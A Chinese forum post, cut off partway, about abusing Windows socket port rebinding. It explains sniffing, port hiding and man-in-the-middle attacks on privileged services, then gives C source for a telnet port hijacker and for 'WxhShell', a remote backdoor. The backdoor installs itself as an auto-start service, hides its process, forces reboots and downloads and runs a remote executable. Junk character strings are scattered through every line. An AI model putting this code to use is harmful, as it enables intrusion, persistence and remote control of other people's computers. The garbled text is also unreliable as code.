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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6~2!ZU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~Aq UT]l  
Z+vLEEX*uQ  
  saddr.sin_family = AF_INET; e8gD(T  
e{?~ m6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h\20  
\?GMtM,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (^6SF>'  
'7E?|B0],  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J@)6]d/,  
a"ht\v}1  
  这意味着什么?意味着可以进行如下的攻击: lJKU^?4S8  
*.i` hfRc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C"YM"9JSJ  
+:^tppg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?5+=  
evn ]n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v4 c_UFEh<  
mT)iN`$Y@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  hsVWD,w  
3 D+dM0wM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u/``*=Y@  
km8[azB o  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &| ',o ?'F  
SFh6'v'1N@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7 bpV=  
q,+d\-+  
  #include ,!Q2^R   
  #include j4Lf6aUOX  
  #include f4:g D*YT  
  #include    6{1c S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :;]6\/ky  
  int main() wLNO\JP'  
  { U*,5t81  
  WORD wVersionRequested; :~g=n&x  
  DWORD ret; p+A#t~K  
  WSADATA wsaData; 7zy6`O P  
  BOOL val; )Ibp%'H  
  SOCKADDR_IN saddr; ` 8.d  
  SOCKADDR_IN scaddr; ,qt9S0 QS  
  int err; p"Fj6T2  
  SOCKET s; ci|6SaY*  
  SOCKET sc; 4WDh8U  
  int caddsize; _kgw+NA&-H  
  HANDLE mt; W}nD#9tL  
  DWORD tid;   Ean@GDLz8  
  wVersionRequested = MAKEWORD( 2, 2 ); @ Al\:  
  err = WSAStartup( wVersionRequested, &wsaData ); `0Qzu\gRb  
  if ( err != 0 ) { vA:1z$m  
  printf("error!WSAStartup failed!\n"); gHA"O@HgDI  
  return -1; h_Q9 c  
  } |%we@ E  
  saddr.sin_family = AF_INET; !{"{(h)+@  
   IIs'm!"Y>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Pf-k"7y  
(wnkdI{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )<t5' +d%  
  saddr.sin_port = htons(23); 9:IVSD&"Rf  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?nCG:\&;'=  
  { &8z`]mB{t  
  printf("error!socket failed!\n"); 6Jrh'6 o@  
  return -1; z45ImItH  
  } K1]H~'  
  val = TRUE; W{Ine> a'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #\_N-bVu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S{zi8Oc6  
  { k$j>_U? P  
  printf("error!setsockopt failed!\n"); B{PI&a9~s%  
  return -1; LaG./+IP  
  } nK)U.SZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4%0eX]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7H %>\^A^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mADq_` j  
yF0\$%H>$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b*\K I  
  { 4RGEg;]S  
  ret=GetLastError(); ^y]CHr  
  printf("error!bind failed!\n"); NiQ`,Q$B  
  return -1; hOx'uO`x(  
  } NTkGLD1e.  
  listen(s,2); *BF5B\[r?  
  while(1) PbvRh~n  
  { zxTcjC)y  
  caddsize = sizeof(scaddr); n,q+EZd  
  //接受连接请求 .DiH)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $6kVhE!;  
  if(sc!=INVALID_SOCKET) 7O^ySy"l  
  {  \09eH[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c=p`5sN)  
  if(mt==NULL) w7 @fiH{  
  { G1=GzAd$5  
  printf("Thread Creat Failed!\n"); (A|Gb2X  
  break; "7mY s)=  
  } a|Io)Qhr  
  } ]r8t^bqe  
  CloseHandle(mt); j6]+ fo&3  
  } e[.c^Hw  
  closesocket(s); KHV5V3q4  
  WSACleanup(); ,\laqH\ 1%  
  return 0; kv{uf$X*ve  
  }   ^x-vOG lR  
  DWORD WINAPI ClientThread(LPVOID lpParam) Fa:fBs{  
  { PY- 1 oP  
  SOCKET ss = (SOCKET)lpParam; +[C dd{2  
  SOCKET sc; `?r]OVe{y  
  unsigned char buf[4096]; WDQtj$e+  
  SOCKADDR_IN saddr; |h$*z9bsf  
  long num; |:BKexjHL  
  DWORD val; " uf*?m3  
  DWORD ret; ;T0F1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o=@ 0Bd8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &.J8O+  
  saddr.sin_family = AF_INET; ^PA >t$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VrLU07"0n  
  saddr.sin_port = htons(23); g S xK9P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BB@I|)9O(  
  { ~'>RK  
  printf("error!socket failed!\n"); C%_^0#8-0  
  return -1; K;moV| j  
  } XHU&ix{Od  
  val = 100; -;9pZ'r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U'(}emh}  
  { l`=).k   
  ret = GetLastError(); 9DcUx-   
  return -1; f0H 5 )DJf  
  } k.=67L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =+;1^sZ  
  { 5(e?,B }  
  ret = GetLastError(); :&: IZkO  
  return -1; ? g9mDe;k  
  } LoZ8;VU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =qPk'n9i8  
  { 4bXAA9"  
  printf("error!socket connect failed!\n"); {T|sU\|Q  
  closesocket(sc); uMOm<kn  
  closesocket(ss); U7O]g'BP  
  return -1; 3S='/^l  
  } ~um+r],@@  
  while(1) 3l5rUjRwj  
  { [)UF@Sq4+Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .C=&` ;Vs  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;4. D%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dv3+x\`9  
  num = recv(ss,buf,4096,0); Yas!w'  
  if(num>0) C {.{>M  
  send(sc,buf,num,0); Cr0 \7  
  else if(num==0) 2}`Q9?  
  break; s)Sa KE*d  
  num = recv(sc,buf,4096,0); . 2_t/2  
  if(num>0) T3 xr Ua&  
  send(ss,buf,num,0); s '%KKC  
  else if(num==0) OdX-.FFl  
  break; !R,9Pg*Ey  
  } - bL 7M5  
  closesocket(ss); ^aVoH/q*C  
  closesocket(sc); =w &%29BYq  
  return 0 ; <}'hkEh{d=  
  } $$C5Q;7w!  
*UVjN_na5  
~N+lI\K  
========================================================== 1lRqjnzve&  
rhFa rm4a  
下边附上一个代码,,WXhSHELL 6GzmzhX4  
 |u 8hxa  
========================================================== oiAU}iK:  
#u+BjuZo  
#include "stdafx.h" rXo2MX@u  
5vIuH+0  
#include <stdio.h> Gjuc"JR7  
#include <string.h> U|odm58s  
#include <windows.h> Re?sopg0r  
#include <winsock2.h> 2D-ogSIo  
#include <winsvc.h>  01I5,Dm  
#include <urlmon.h> QI>yi&t  
e2w$":6>  
#pragma comment (lib, "Ws2_32.lib") E&0A W{  
#pragma comment (lib, "urlmon.lib") K8*QS_*  
uF5d ]{Qt  
#define MAX_USER   100 // 最大客户端连接数 vj0`[X   
#define BUF_SOCK   200 // sock buffer ,u QLXF2  
#define KEY_BUFF   255 // 输入 buffer G 8|[.n  
8 g'9( )&  
#define REBOOT     0   // 重启 Vja' :i  
#define SHUTDOWN   1   // 关机 YlOYgr^  
ri~dWx  
#define DEF_PORT   5000 // 监听端口 a AYO(;3  
G1B~?i2$ ?  
#define REG_LEN     16   // 注册表键长度 "%ag^v9  
#define SVC_LEN     80   // NT服务名长度 *sf9(%j  
xt +fu L  
// 从dll定义API "Ks%!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E=gD{1,?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S}e*~^1J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `u:U{m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [K13Jy+  
Szi4M&!K  
// wxhshell配置信息 `ZN@L<I6  
struct WSCFG { DLyHC=%{+h  
  int ws_port;         // 监听端口 6N.mSnp  
  char ws_passstr[REG_LEN]; // 口令 KtY~Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3leg,q d  
  char ws_regname[REG_LEN]; // 注册表键名 _ %&"4bm.  
  char ws_svcname[REG_LEN]; // 服务名 ?>q=Nf^Q.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v Xio1hu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 23+6u{   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <t]c'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3D\.S j%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2 T{PIJg3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EN.yU!N.4  
_'n;rZ+  
}; ] >ipC,v  
i BJ*6orz  
// default Wxhshell configuration ~\<ZWU<BE  
struct WSCFG wscfg={DEF_PORT, *-+~H1tP  
    "xuhuanlingzhe", %n}fkj'  
    1, 9ciL<'H\  
    "Wxhshell",  +KFK..  
    "Wxhshell", 8f^URN<x  
            "WxhShell Service", U YUIpe  
    "Wrsky Windows CmdShell Service", F]yclXf('  
    "Please Input Your Password: ",  4EB$e?  
  1, @{I55EQ]  
  "http://www.wrsky.com/wxhshell.exe", 2SG|]=  
  "Wxhshell.exe" +\Q6Onqr  
    }; .e.vh:Sz  
QH\*l~;B\  
// 消息定义模块 " "a+Nc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,eUMSg~P.7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WtRy~5A2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4vqu(w8 L  
char *msg_ws_ext="\n\rExit."; t 1C{  
char *msg_ws_end="\n\rQuit."; _%zU ^aE  
char *msg_ws_boot="\n\rReboot..."; HqYaQ~Dth  
char *msg_ws_poff="\n\rShutdown..."; $Uewv +  
char *msg_ws_down="\n\rSave to "; ;k/0N~  
D@ =.4z  
char *msg_ws_err="\n\rErr!"; _IlL'c5  
char *msg_ws_ok="\n\rOK!"; 3'/wRKl  
$ @1&G~x  
char ExeFile[MAX_PATH]; _%1.D0<~-E  
int nUser = 0; MeplM$9  
HANDLE handles[MAX_USER]; q6_1`Ew  
int OsIsNt; =Fj : #s  
3"L$*toRA  
SERVICE_STATUS       serviceStatus; H~V=TEj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :cC`wX$  
$^ >n@Q@&L  
// 函数声明 ,JZ@qmQ,  
int Install(void); tQl=  
int Uninstall(void); sg6cq_\  
int DownloadFile(char *sURL, SOCKET wsh); X4/r#<Da  
int Boot(int flag); IB;y8e,  
void HideProc(void); [e^i".  
int GetOsVer(void); `7 B [<  
int Wxhshell(SOCKET wsl); }<Me%`x"  
void TalkWithClient(void *cs); R6:N`S]&d[  
int CmdShell(SOCKET sock); *@BBlkcx  
int StartFromService(void); Xif`gb6`  
int StartWxhshell(LPSTR lpCmdLine); [FCNW0NV  
A|a\pL`@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pEaH^(I*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EhVnt#`Si  
;zJ_apZ:{  
// 数据结构和表定义 dl;A'/(t  
SERVICE_TABLE_ENTRY DispatchTable[] = ftH 0aI  
{ ?t%5/  
{wscfg.ws_svcname, NTServiceMain}, :iWV:0)P  
{NULL, NULL} .-34 g5  
}; TX+t   
d z\b]H]  
// 自我安装 -OW$  
int Install(void) iH$N HfH  
{ ~g,QwaA[  
  char svExeFile[MAX_PATH]; G?V3lQI1n  
  HKEY key; *lTu-  
  strcpy(svExeFile,ExeFile); 0ib 6}L%  
;s!H  
// 如果是win9x系统,修改注册表设为自启动 bQ4 }no0  
if(!OsIsNt) { u4nXK <KL|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { So 5{E 4[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U!`'Qw;  
  RegCloseKey(key); 7xcYM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \ lKQ'_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ynd}w G'  
  RegCloseKey(key); s1FBz)yCY=  
  return 0; KWYG\#S0]  
    } axl?t|~I  
  } R.QcXz?d  
} [/kO >  
else { 3k(?`4JJ  
lu}[XN  
// 如果是NT以上系统,安装为系统服务 u`~{:V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >fdN`W }M  
if (schSCManager!=0) FSB$D)4z>b  
{ zhe5i;M  
  SC_HANDLE schService = CreateService :tgTYIF  
  ( _aGdC8%[  
  schSCManager, q8lK6p\:W  
  wscfg.ws_svcname, u rOGOa$  
  wscfg.ws_svcdisp, !< )_ F  
  SERVICE_ALL_ACCESS, {3R ax5Ty  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vOS0E^  
  SERVICE_AUTO_START, Y[DKj!v  
  SERVICE_ERROR_NORMAL, vB{b/xmah  
  svExeFile, aFym&n\  
  NULL, ..:V3]-D  
  NULL, S#9SAX [  
  NULL, g}-Z]2(c#  
  NULL, kA_ 3o)J  
  NULL ^&.?kJM  
  ); LA+MX 0*  
  if (schService!=0) v3"xJN_,[p  
  { lN'/Z&62  
  CloseServiceHandle(schService); ""d>f4,S  
  CloseServiceHandle(schSCManager); a3 x~B=E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a*hThr+$M  
  strcat(svExeFile,wscfg.ws_svcname); X A|`wAGP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "=(;l3-o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {Jc!T:vJ  
  RegCloseKey(key); aiHr2x6  
  return 0; #V 6 -*  
    }  m5pVt 4  
  } }}_uN-m  
  CloseServiceHandle(schSCManager); *PEuaRDN  
} pYG,5+g  
} A]9JbNV  
bAiw]xi  
return 1; j1 <1D@UO  
} {p 0'Lc<3n  
B>ZPn6?y  
// 自我卸载 A& F4;>dms  
int Uninstall(void) q@9 i3*q;  
{ mmL~`i/  
  HKEY key; H~i],WD  
E2IVR]C2^  
if(!OsIsNt) { q1Sm#_7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }D+8K  
  RegDeleteValue(key,wscfg.ws_regname); )mdNvb[*n  
  RegCloseKey(key); 7 L\?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pG6-.F;  
  RegDeleteValue(key,wscfg.ws_regname); 5XI*I( .%/  
  RegCloseKey(key); zIFL?8!H9{  
  return 0; N -]PK%*  
  } .}N^AO=  
} D 8Rmxq!  
} PNgMLQI6  
else { 8 36m5/kH[  
_vH!0@QFU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .M2&ad :  
if (schSCManager!=0) e9_+$Oo  
{ 6sl<Z=E#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VWy:U#;+8  
  if (schService!=0) XB-|gPk  
  { j*4S]!  
  if(DeleteService(schService)!=0) { `uA&w}(G  
  CloseServiceHandle(schService); 7V (7JV<>  
  CloseServiceHandle(schSCManager); =bWq 3aP)P  
  return 0; }!V<"d,!  
  } )c/y07er  
  CloseServiceHandle(schService); )`mF.87b&h  
  } dY<#a,eS  
  CloseServiceHandle(schSCManager); ; ZV^e  
} 5R`6zhf  
} acY[?L_6J  
;/ KF3 %  
return 1; gc3 U/ jM  
} OeGuq.> w  
8$UZL  
// 从指定url下载文件 vw] D{OBv*  
int DownloadFile(char *sURL, SOCKET wsh) tQ JH'YV  
{ [V, ;X  
  HRESULT hr; :s '"u]  
char seps[]= "/"; -Y?(Zz_w  
char *token; KHz838C]  
char *file; dY@Tt&k8E  
char myURL[MAX_PATH]; ]wpYxos  
char myFILE[MAX_PATH]; +A?+G  
>5Oy^u6Ly  
strcpy(myURL,sURL); $Wzv$4;  
  token=strtok(myURL,seps); [KI`e  
  while(token!=NULL) /%9p9$kFot  
  { OW}j4-~wL  
    file=token; oy bzD  
  token=strtok(NULL,seps); ( L\G!pP.  
  } s4`*0_n  
|/=p  
GetCurrentDirectory(MAX_PATH,myFILE); F>kn:I"X)  
strcat(myFILE, "\\"); , )pt_"-XA  
strcat(myFILE, file); 50bP&dj&  
  send(wsh,myFILE,strlen(myFILE),0); |uwteG5?$s  
send(wsh,"...",3,0); <VR&= YJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X/,1]  
  if(hr==S_OK) >m6,xxTR  
return 0; *2 $m>N  
else #'Y6UGJ\n  
return 1; LY!3u0PnlT  
; 9&.QR(  
} q\ y#  
Y_3YO 2K]  
// 系统电源模块 k;AiG8jb  
int Boot(int flag) V'f5-E0  
{ F"f}vl  
  HANDLE hToken; IA 9v1:>  
  TOKEN_PRIVILEGES tkp; >\x_"oR  
G%8)6m'3  
  if(OsIsNt) { `pAp[]SfQd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )7"DR+;:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2]RH)W86;  
    tkp.PrivilegeCount = 1; I cA\3j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9g5{3N3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~K#_'Ldrd  
if(flag==REBOOT) { 4f[M$xU&h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %3#I:>si  
  return 0; LOUKUReE  
} $17 v,  
else { -5,y 1_M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ="w8U'  
  return 0; (VI* c!N  
} }%ZG> LG5J  
  } 0/00 W6r0  
  else { (9 z.IH7}k  
if(flag==REBOOT) { )tI2?YIR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JvWs/AG1  
  return 0; {S"  
} 2\CkX  
else { ]G o~]7(5|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l)rvh#D  
  return 0; awSS..g}L  
} a0/n13c?G  
} k#:@fH4{PA  
Hs`#{W{.  
return 1; !_z<W~t"  
} /Zeg\}/4[  
yZ~eLWz  
// win9x进程隐藏模块 `_g?y)  
void HideProc(void) J%-lw{FC  
{ vH?+JN"A  
. I&)MZ>n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &~JfDe9IS  
  if ( hKernel != NULL ) g*r{!:,t  
  { VRQbf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B/9<b{6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =.f +}y  
    FreeLibrary(hKernel); >5~Zr$  
  } iI@Gyq=  
s8yTK2v2\  
return; ;'Vipj   
} CMxjX  
3{I=#>;  
// 获取操作系统版本 .";tnC!e  
int GetOsVer(void) x [{q&N!"`  
{ QOh w  
  OSVERSIONINFO winfo; mLk6!&zN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XAULD]Q  
  GetVersionEx(&winfo); Fb{`a[&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >upXt?  
  return 1; kSDa\l!W]  
  else hKzBq*cV  
  return 0; _Dcc<-.  
} sg6w7fp>  
G_,t\  
// 客户端句柄模块 E_![`9i  
int Wxhshell(SOCKET wsl) Va/@#=,q]  
{ K,C $J I  
  SOCKET wsh; ^2;(2s  
  struct sockaddr_in client; 8T.5Mhx0jS  
  DWORD myID; #SihedWi  
R!V5-0%  
  while(nUser<MAX_USER) "U5Ln2X{J  
{ hNq8 uyKx  
  int nSize=sizeof(client); [>M*_1F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [,o5QH\Etq  
  if(wsh==INVALID_SOCKET) return 1; mb~=Xyk&  
z^a!C#IX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^;CR0.4  
if(handles[nUser]==0) jY#(A23  
  closesocket(wsh); )*TW\v`B  
else c2\rjK   
  nUser++; TH(Lzrbg  
  } Ky '3z"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }KaCf,O  
+zVcOS*-  
  return 0; +.gf]|  
} sQ>B_Y!  
f?>-yMR|  
// 关闭 socket =@1R ozt  
void CloseIt(SOCKET wsh) s7UhC.>'@  
{ JJ N(M*;  
closesocket(wsh); BudWbZ5>Ep  
nUser--; we H@S  
ExitThread(0); -M>K4*%K  
} 5}d/8tS  
SN[L4}{  
// 客户端请求句柄 '!yS72{$2  
void TalkWithClient(void *cs) g@k#J"Q '[  
{ q(jkit~`A  
vU8FHVytV  
  SOCKET wsh=(SOCKET)cs; 7i+!^Qj?y  
  char pwd[SVC_LEN]; M]4=(Vv+5  
  char cmd[KEY_BUFF]; }4\!7]FVYX  
char chr[1]; \%-E"[!  
int i,j; b5n]Gp  
].k+Nzf_  
  while (nUser < MAX_USER) { $xUzFLh=`  
MKVfy:g%So  
if(wscfg.ws_passstr) { )4'x7Qg/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~3'OiIw1@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dxkRk#mf:  
  //ZeroMemory(pwd,KEY_BUFF); e$ XY\{  
      i=0; 4(Cd  
  while(i<SVC_LEN) { B \_d5WJ<  
Hn#GS9d_?  
  // 设置超时 "J8;4p  
  fd_set FdRead; ;Txv -lfS  
  struct timeval TimeOut; u6iU[5  
  FD_ZERO(&FdRead); 56bud3CVs  
  FD_SET(wsh,&FdRead); nI`f_sp  
  TimeOut.tv_sec=8; wZo.ynXT  
  TimeOut.tv_usec=0; ~<2 IIR$H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hr_9;,EPh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OD?y  
$IxU6=ajn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #90[PASx  
  pwd=chr[0]; jIx8k8  
  if(chr[0]==0xd || chr[0]==0xa) {  ^6)GS%R  
  pwd=0; cD'HQ3+  
  break; DD/>{kff  
  } 5q(]1|Se i  
  i++; Z#OhYm+y  
    }  /i-xX*  
WNn[L=f  
  // 如果是非法用户,关闭 socket o[bE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 96"yNqBf  
} gnQo1q{ 4  
;0w^ud  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rP^TN^bd|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2qs>Bshf  
H[ BD)  
while(1) { E-yT  
O6m.t%*  
  ZeroMemory(cmd,KEY_BUFF); L25kh}Q#7  
yqC Q24  
      // 自动支持客户端 telnet标准   YGq=8p7.R  
  j=0; ;~Q  
  while(j<KEY_BUFF) { 3d*&':  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); | ((1V^  
  cmd[j]=chr[0]; T~i%j@Q.6  
  if(chr[0]==0xa || chr[0]==0xd) { &=F-moDD  
  cmd[j]=0; zb>f;[  
  break; aN^]bs?R  
  } 3I9T|wQ-]  
  j++; ?a'6EAErC  
    } oUJj5iu}  
}}^,7npU  
  // 下载文件 +Dx1/I  
  if(strstr(cmd,"http://")) {  G"o!}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S=0"f}Jo.  
  if(DownloadFile(cmd,wsh)) 7|&e[@B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X,C*qw@  
  else :]P~.PD5,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _BZ1Vnv  
  } !_CX2|  
  else { kz ZDtI)  
q"gqO%Wb|  
    switch(cmd[0]) { qP~WEcH`[  
  ,?l~rc  
  // 帮助 G'ij?^?  
  case '?': { _iG2J&1'L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tigT@!`$Y  
    break; J>rka]*  
  } /y}"M  
  // 安装 "+=Pp  
  case 'i': { L'zE<3O'3  
    if(Install()) T n"e   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,:D=gQ@`  
    else a}:A,t<6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v8ba~  
    break; 2 ;JQX!  
    } 96(R'^kNX  
  // 卸载 (GCG/8s  
  case 'r': { &4,WG  
    if(Uninstall()) |u@+`4o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :.*HQt9N  
    else \7pipde  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~9Z h,p ;  
    break; 9ky7r;?  
    } >^a$  
  // 显示 wxhshell 所在路径 YEzU{J  
  case 'p': { 6cJ<9i &  
    char svExeFile[MAX_PATH]; ` ^DjEdUN  
    strcpy(svExeFile,"\n\r"); rwiw Rh  
      strcat(svExeFile,ExeFile); `E@kFJ(<On  
        send(wsh,svExeFile,strlen(svExeFile),0); =M7TCE  
    break; QE|`&~sme  
    } S_J,[#&  
  // 重启 aF!Ex  
  case 'b': { G6ayMw]OF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m#tpbFAsc  
    if(Boot(REBOOT)) >lrhHU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8z Y)J#  
    else { n-DaX kK  
    closesocket(wsh); R{HV]o|qk  
    ExitThread(0); R (G2qi  
    } }91*4@B7  
    break; AXs=1  e  
    } ZWO)tVw9G  
  // 关机 2d*_Qq1  
  case 'd': { <3A0={En  
